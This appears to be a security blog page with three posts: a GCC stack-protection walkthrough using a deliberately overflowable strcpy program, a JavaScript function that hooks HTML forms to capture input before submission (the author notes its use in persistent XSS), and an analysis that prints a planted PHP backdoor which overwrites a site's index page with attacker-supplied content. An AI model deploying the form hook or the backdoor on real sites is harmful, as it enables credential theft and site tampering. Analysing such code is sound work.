Skip to content

GCC Stack Protection Introduction

I originally was going to write a post on some new OS X shellcode, but after getting a vulnerable test app going, I thought it would be worthwhile to write a brief introduction to the built-in stack buffer overflow protection in GCC (4.2.1 on Snow Leopard for me).

Here’s the basic code:

int main(int argc, char** argv)
{
  char dest[8] = { 0 };
  strcpy(dest, argv[1]);
}

Here’s what you get depending on whether you compile with the -fno-stack-protector option (on the left) or without it.

prologue:
push %ebp
mov %esp,%ebp
sub $0x28,%esp

strcpy:
movl $0x0,-0x10(%ebp)
movl $0x0,-0xc(%ebp)
mov 0xc(%ebp),%eax
add $0x4,%eax
mov (%eax),%eax
mov %eax,0x4(%esp)
lea -0x10(%ebp),%eax
mov %eax,(%esp)
call 0x1f8a <dyld_stub_strcpy>

epilogue:
leave
ret
prologue:
push %ebp
mov %esp,%ebp
push %ebx
sub $0x34,%esp
call 0x1f1e <main+12>

canary_setup:
pop %ebx
mov 0xc(%ebp),%eax
mov %eax,-0x1c(%ebp)
lea 0xfe(%ebx),%eax
mov (%eax),%eax
mov (%eax),%edx
mov %edx,-0xc(%ebp)
xor %edx,%edx


strcpy:
movl $0x0,-0x14(%ebp)
movl $0x0,-0x10(%ebp)
mov -0x1c(%ebp),%eax
add $0x4,%eax
mov (%eax),%eax
mov %eax,0x4(%esp)
lea -0x14(%ebp),%eax
mov %eax,(%esp)
call 0x1f80 <dyld_stub_strcpy>

canary_check:
lea 0xfe(%ebx),%edx
mov (%edx),%edx
mov -0xc(%ebp),%ecx
xor (%edx),%ecx
je 0x1f6d <main+91>
call 0x1f74 <dyld_stub___stack_chk_fail>


prologue:
add $0x34,%esp
pop %ebx
leave
ret

The left side is full of win (or lose, depending on your perspective). Nothing but a straight unbounded strcpy onto a stack buffer. Too large an input parameter and you get EIP.

On the right side, we can see the addition of the canary setup and post-strcpy check. Brief explanation of the canary code: The __stack_chk_guard value is located and stored on the stack (This value is randomized by the C runtime). The stored value is checked after the call to ensure that the canary wasn’t is still present on the stack. If the check fails, the thread terminates without allowing a potentially-corrupted return address to be used.

One issue you might have noticed if you compiled the above code: GCC actually emits a warning:

unsafe.c: In function ‘main’:
unsafe.c:7: warning: incompatible implicit declaration of built-in function ‘strcpy’

True — our code doesn’t #include <string.h>. Adding that should just eliminate the warning, not change anything, right? Take a look when we disassemble after adding the include.

prologue:
push %ebp
mov %esp,%ebp
sub $0x28,%esp

strcpy:
movl $0x0,-0x10(%ebp)
movl $0x0,-0xc(%ebp)
mov 0xc(%ebp),%eax
add $0x4,%eax
mov (%eax),%eax
movl $0x8,0x8(%esp)
mov %eax,0x4(%esp)
lea -0x10(%ebp),%eax
mov %eax,(%esp)
call 0x1f84 <dyld_stub___strcpy_chk>

epilogue:
leave
ret
prologue:
push %ebp
mov %esp,%ebp
push %ebx
sub $0x34,%esp
call 0x1f16 <main+12>

canary_setup:
pop %ebx
mov 0xc(%ebp),%eax
mov %eax,-0x1c(%ebp)
lea 0xfe(%ebx),%eax
mov (%eax),%eax
mov (%eax),%edx
mov %edx,-0xc(%ebp)
xor %edx,%edx

strcpy:
movl $0x0,-0x14(%ebp)
movl $0x0,-0x10(%ebp)
mov -0x1c(%ebp),%eax
add $0x4,%eax
mov (%eax),%eax
movl $0x8,0x8(%esp)
mov %eax,0x4(%esp)
lea -0x14(%ebp),%eax
mov %eax,(%esp)
call 0x1f7a <dyld_stub___strcpy_chk>

canary_check:
lea 0xfe(%ebx),%edx
mov (%edx),%edx
mov -0xc(%ebp),%ecx
xor (%edx),%ecx
je 0x1f6d <main+91>
call 0x1f74 <dyld_stub___stack_chk_fail>
add $0x34,%esp
pop %ebx
leave
ret

Aha! Using the string.h version (rather than the implicit version) results in using __strcpy_chk rather than strcpy. The prototype for this method is:
void * __strcpy_chk (char *dest, char *src, size_t dstlen).

In the highlighted lines above, 0x8 (size of the buffer on the stack) is pushed and passed to __strcpy_chk. The src string is checked at runtime, and __chk_fail() is called to terminate the thread without overflowing the buffer.

This little exercise brings two principles to mind:

  • Be secure by default. GCC adds stack protection by default, and it must be explicitly turned off.
  • Don’t ignore compiler warnings. The warning message isn’t clear, but there were security advantages to the fix.

PS: If the size calculation is constant, the same sort of checks can be added for heap-buffers. I haven’t looked to see how GCC handles dynamically-sized heap buffers.

Hooking HTML Forms with Javascript

While working on a Safari extension, I came up with some Javascript code to hook HTML forms and capture the input data prior to the call to the form’s action. This could prove useful in browser plugins or something more nefarious like persistent XSS.

It works by either:

  • Setting the form’s onsubmit handler (if there wasn’t one set already)
  • Creating a dummy button with a custom onclick handler that will call the specified callback prior to calling the normal onsubmit handler.

The code is fairly straightforward (minus a single compatibility issue between IE8 and and Safari/Firefox/Chrome regarding form submission).

Anyway, here’s the code:

function hookform(f, callback)
{
   if (f.onsubmit == null) {
      // No onsubmit handler, so install ours directly.
      f.onsubmit = function() { callback(this); };
   }
   else {
      // Need to find the submit input
      var is = f.getElementsByTagName('input');
      // Adding a dummy button messes with the length
      cnt = is.length;
      for (i = 0; i < cnt; i++) {
         if (is[i].type.toLowerCase() == 'submit') {
            // Create a dummy element
            var dummy = document.createElement('button');
            // Copy the submit button's name
            dummy.innerHTML = is[i].value;
            // Set the handler to call the callback
            // and then the original onsubmit handler.
            if (navigator.appName.indexOf('Microsoft') == 0) {
               dummy.onclick = function() {
                  callback(this);
                  var r = this.parentNode.onsubmit();
                  if (r) { this.parentNode.submit(); }
               }
            }
            else {
                // SAFARI MAC, SAFARI IPHONE, FIREFOX, CHROME
               dummy.onclick = function() { callback(this); };
            }
            // Insert into the DOM and hide the submit button
            f.insertBefore(dummy, is[i]);
            is[i].style.display = 'none';
         }
      }
   }
}

Use it like so:

function hook_callback(btn) {
   alert("callback!");
}
hookform(document.getElementById('f1'), hook_callback);

Let me know if (and how) anyone besides me finds this useful.

Edit: Uploaded source to github

PHP SEO-ware?

Recently a contact sent me a PHP script he found on his webserver, most likely placed there via a file-upload/command execution vulnerability in an older version of the CMS. I don’t have all of the details, but here is a quick analysis of the script. Definitely not the typical backdoor one would expect to see from an exploited file-upload vulnerability. If anyone has seen anything like this before, I’d like to know.

$t = "../";
$r = ".html";
if(!file_exists($t."index".$r)) $r = ".htm";
if(!file_exists($t."index".$r)) $r = ".shtml";
if(!file_exists($t."index".$r)) $r = ".phtml";
if(!file_exists($t."index".$r)) $r = ".php";

This looks to be a generic snippet for determining the regular index page in the directory (or in this case up one directory). It tries various extensions using the built-in PHP file_exists() method.


if($_GET['add']){
  $read = html_entity_decode(implode('',file($t."index".$r)));
  if(!ereg("<!--gen-->",$read)){
    $fp = fopen($t."index".$r,"w");
    if(fwrite($fp,$read."\n<!--gen-->")) print "Setuped...";
    fclose($fp);
  } else print "Already....";
}

This section is where it starts getting interesting. If the add query string parameter is specified on the request, the code will read the contents of the index page (as determined above). file() returns an array of lines, and the call to implode() joins the array with an empty string. html_entity_decode() decodes HTML entities like &lt; and &gt; into their regular character equivalents. If the index file does not contain <!--gen-->, it is appended to the end of the file.


if($_POST['f']){
  $f = file_get_contents($_POST['f']);
  $read = html_entity_decode(implode('',file($t."index".$r)));
  if(ereg("<!--gen-->",$read)){
    $ex = explode("<!--gen-->",$read);
    $fw = $ex[0].$op."<!--gen-->".$f;
    $fp = fopen($t."index".$r,"w");
    if(fwrite($fp,$fw)) print "<h1>{OK!}</h1>";
    fclose($fp);
  }
}

If the PHP page was requested via POST, the code does something different. Again, it reads the contents of the index page, but this time it will also rewrite the contents of the index file with the contents read from the file specified in the f POST parameter. The GET section described above is the first-time prep/initialization of the index file for this section below.


The webserver had files stored in a different directory that had copies of the main index page escaped with htmlentities() as well as extra lines like the following:

&lt;b&gt;printable map hawaii&lt;/b&gt;&lt;br /&gt;
Free printable scary black cat and witch's pot Halloween name tags Print Jun 8, 2010 printable halloween tags. All about Free Printable Kids Preschool . &lt;br /&gt;&lt;br /&gt;

So someone gained remote access to a webserver, and chose to modify the pages served to include “SEO” type keywords that don’t actually point to anything in particular. I’m intrigued.